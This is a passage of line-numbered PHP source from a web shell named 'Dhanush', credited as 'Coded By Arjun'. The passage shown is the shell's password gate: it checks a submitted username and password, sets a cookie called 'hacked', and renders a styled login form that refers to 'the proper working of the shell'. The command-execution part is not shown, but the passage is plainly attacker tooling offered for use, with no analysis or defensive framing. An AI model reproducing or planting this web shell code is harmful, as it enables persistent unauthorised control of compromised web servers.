6175<hr color="#1B1B1B">
6176<div align="center">
6177<font size="6" face="Times New Roman, Times, serif" color="#00CC00">धनुष<br>
6178--==Coded By Arjun==--</font><br><a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font color="#FF0000" size="6">जय हिन्द</font></a></div>
6179<?php
6180}
6181}
6182
6183if(isset($_POST['uname']) && isset($_POST['passwd']))
6184{
6185 if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
6186 {
6187 setcookie("hacked", md5($pass));
6188 $selfenter = $_SERVER["PHP_SELF"];
6189 header("Location:$selfenter");
6190 }
6191}
6192
6193if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
6194{
6195 shellstyle();
6196?>
6197 <center>
6198 <form method="POST">
6199 <div style="background-color:#171717; width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px; background-image:url(Windows_7_-_Alien_from_outer_space.jpg);">
6200 <table cellpadding="9" cellspacing="4">
6201 <tr>
6202 <td align="center" colspan="2"><blink><font size="7"><b>Dhanush</b></font></blink></td>
6203 </tr>
6204 <tr>
6205 <td align="right"><b>User Name : </b></td>
6206 <td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6207 </tr>
6208 <tr>
6209 <td align="right"><b>Password : </b></td>
6210 <td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6211 </tr>
6212 <tr>
6213 <td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
6214 </tr>
6215 <tr>
6216 <td align="center" colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By Arjun==--</b></font></td>
6217 </tr>
6218 <tr>
6219 <td colspan="2"><font size="4" face="Times New Roman, Times, serif"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>
6220 </tr>
6221 </table>
6222 </div>
6223
6224 </form>
6225 </center>
6226<br>
6227</body>
6228</html>
6229<?php
6230}
6231?>